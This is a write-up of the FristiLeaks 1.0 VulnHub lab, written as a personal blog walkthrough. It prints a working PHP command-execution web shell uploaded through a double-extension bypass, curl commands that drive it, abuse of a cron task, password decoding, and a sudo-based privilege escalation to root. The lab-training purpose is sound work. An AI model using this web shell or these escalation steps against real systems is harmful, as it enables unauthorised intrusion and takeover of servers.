Thanks Ar0xA for this "vuln"derful image.
This is my second completely self solved and first write up for vulnhub images. So cheers fellow #vulnhub fellas. \m/
With this we were able to enumerate the image and found out that only port 80 was open showing us -
However, the interesting part of this was the availability of robots.txt with 3 directories (/cola, /sisi, /beer), all of which had the same result - This is not the url you were looking for!
This was the guessing game part of vulnhub images, unlike my previous challenge, this time I thought I knew how most of my guesses required to be and viola, we got the right drink - fristi.
Post this was the much obvious looking into the source code
This is my second completely self solved and first write up for vulnhub images. So cheers fellow #vulnhub fellas. \m/
Setup
My (attacker) IP: 192.168.56.102
Vulnerable Image IP: 192.168.56.103
Software setup: Oracle VirtualBox on Kali 2.0 Recon
Like any other challenge, we begin using our classic nmap - nmap -A -p- 192.168.56.103 -oA fristileaks
With this we were able to enumerate the image and found out that only port 80 was open showing us -
However, the interesting part of this was the availability of robots.txt with 3 directories (/cola, /sisi, /beer), all of which had the same result - This is not the url you were looking for!
This was the guessing game part of vulnhub images, unlike my previous challenge, this time I thought I knew how most of my guesses required to be and viola, we got the right drink - fristi.
/fristi
Post this was the much obvious looking into the source code
<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
<!--
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.
- by eezeepz
-->
At the bottom of the page we found small encoded snippet,
which much obviously directed us to this image.
<!--
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==
-->
This leads us to
By now we can all guess who the user is and what his password would be.
/home/eezeepz
After logging in, the harder portion of the 4 hours started. We now find a file upload page.
From the enumeration, we knew the server was Apache 2.2.15 running with PHP 5.3.3.
This meant the most common config mistake to allow file upload to be x.php.png.
I quickly wrote a 5 line script and uploaded it on the server.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);
echo "</pre>$cmd<pre>";
die;}
?>
The best way to get output from this shell is via curl -
$ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=ls"
/home/admin
Somehow I didn't mind this interface and didn't bother getting a reverse tcp connection until a later stage.
After this, I went through the regular techniques of traversing until.
$ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=cat ../../../notes.txt"
hey eezeepz your homedir is a mess, go clean it up, just dont delete
the important stuff.
-jerry
</pre>cat ../../../notes.txt<pre>
After going to /home/eezeepz and analyzing the contents, I got hold of
$ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=cat /home/eezeepz/notes.txt"
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don't forget to specify the full path for each binary!
Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry
</pre>cat /home/eezeepz/notes.txt<pre>
Trying to traverse into /home/admin/ gave me an *Permission Denied* Error. So going through last half of this message again, the path was pretty clear.
$ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=echo 'chmod 777 /home/admin'>/tmp/runthis"
Unfortunately, this attempt failed because we didn't read the entire message.
$ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=cat /tmp/cronresult"
command did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bin
$ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=echo '/home/admin/chmod 777 /home/admin'>/tmp/runthis"
We get,
$ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=cat /tmp/cronresult"
command did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bin
executing: /home/admin/chmod 777 /home/admin
/home/fristigod
Analyzing the contents of this directory, we could see a few interesting files - $ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=cat /home/admin/cryptedpass.txt"
mVGZ3O3omkJLmy2pcuTq
</pre>cat /home/admin/cryptedpass.txt<pre>
$ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=cat /home/admin/cryptpass.py"
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn<br />
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
</pre>cat /home/admin/cryptpass.py<pre>
$ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=cat /home/admin/whoisyourgodnow.txt"
=RFn0AKnlMHMPIzpyuTI0ITG
</pre>cat /home/admin/whoisyourgodnow.txt<pre>
Quickly writing a decoding program (edited the same prog, hence no naming convention followed)
$ cat decryptpass.py
#!/usr/bin/python
import base64,codecs,sys
def encodeString(str):
base64string = codecs.encode(str[::-1], 'rot13') //since English Language has 26 alphabets, we only need to do rot13 to get back the original
return base64.b64decode(base64string) // base64 decoding
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
So decrypting the results -
$ python decryptpass.py mVGZ3O3omkJLmy2pcuTq
thisisalsopw123
$ python decryptpass.py =RFn0AKnlMHMPIzpyuTI0ITG
LetThereBeFristi!
So now that we have two sets of passwords, we try them on the user accounts. On accessing the /home/ directory, we saw three user profiles - admin, ezzeepz and fristigod. The only major problem was for running a sudo command and elevate privileges, I would require a tty, for which I needed a stable reverse shell and not only a php web shell. After attempting to build a custom simple shell and failing muiltiple times (netcat and telnet were not there in the system so was trying to get a php or pyton reverse tcp connection), I just switched back to my script kiddie nature and used php-reverse-shell to get access into the machine.
/root/
Launching a tty to escalate privileges with sudo can be done with the python one liner (Thank you Pentest monkey, again) $ python -c 'import pty; pty.spawn("/bin/sh")'
After this I was able to figure out the credentials of admin(thisisalsopw123) and fristigod(LetThereBeFristi!).
My hope of Admin being the sudo user was thrashed and on running find / -perm -4000, I pretty much got the idea who the sudo user is (last line - find: `/var/fristigod': Permission denied).
After su fristigod, I ran find / -perm -4000 to find
/var/fristigod/.secret_admin_stuff/doCom
Unfortunately,
bash-4.1$ ./var/fristigod/.secret_admin_stuff/doCom
./var/fristigod/.secret_admin_stuff/doCom
Nice try, but wrong user ;)
traversing into the directory, I figured doCom was accessible only via root perms, but the perms to this folder was given to fristigod. This was the obvious point of escalation. Hence I tried harder,
bash-4.1$ sudo ./doCom
sudo ./doCom
Sorry, user fristigod is not allowed to execute './doCom' as root on localhost.localdomain.
This point I knew I had to run as a different user. On analyzing the /etc/passwd I saw a user named fristi. I knew this was the user. However, I still run
bash-4.1$ sudo -l
sudo -l
Matching Defaults entries for fristigod on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User fristigod may run the following commands on this host:
(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
This was the confirmation. The next command gave me access to this file
bash-4.1$ sudo -u fristi ./doCom
sudo -u fristi ./doCom
Usage: ./program_name terminal_command ...
This was simple now,
bash-4.1$ sudo -u fristi ./doCom /bin/bash
sudo -u fristi ./doCom /bin/bash
bash-4.1# id
id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
Pwn'd. Now for the flag -
bash-4.1# cd /root
cd /root
bash-4.1# ls
ls
fristileaks_secrets.txt
bash-4.1# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
I wonder if you beat it in the maximum 4 hours it's supposed to take!
Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
Flag: Y0u_kn0w_y0u_l0ve_fr1st1
And w00t w00t! Fristileaks solved within 4 hours :)
Hope to continue pwn'ing such challenges from Vulnhub.
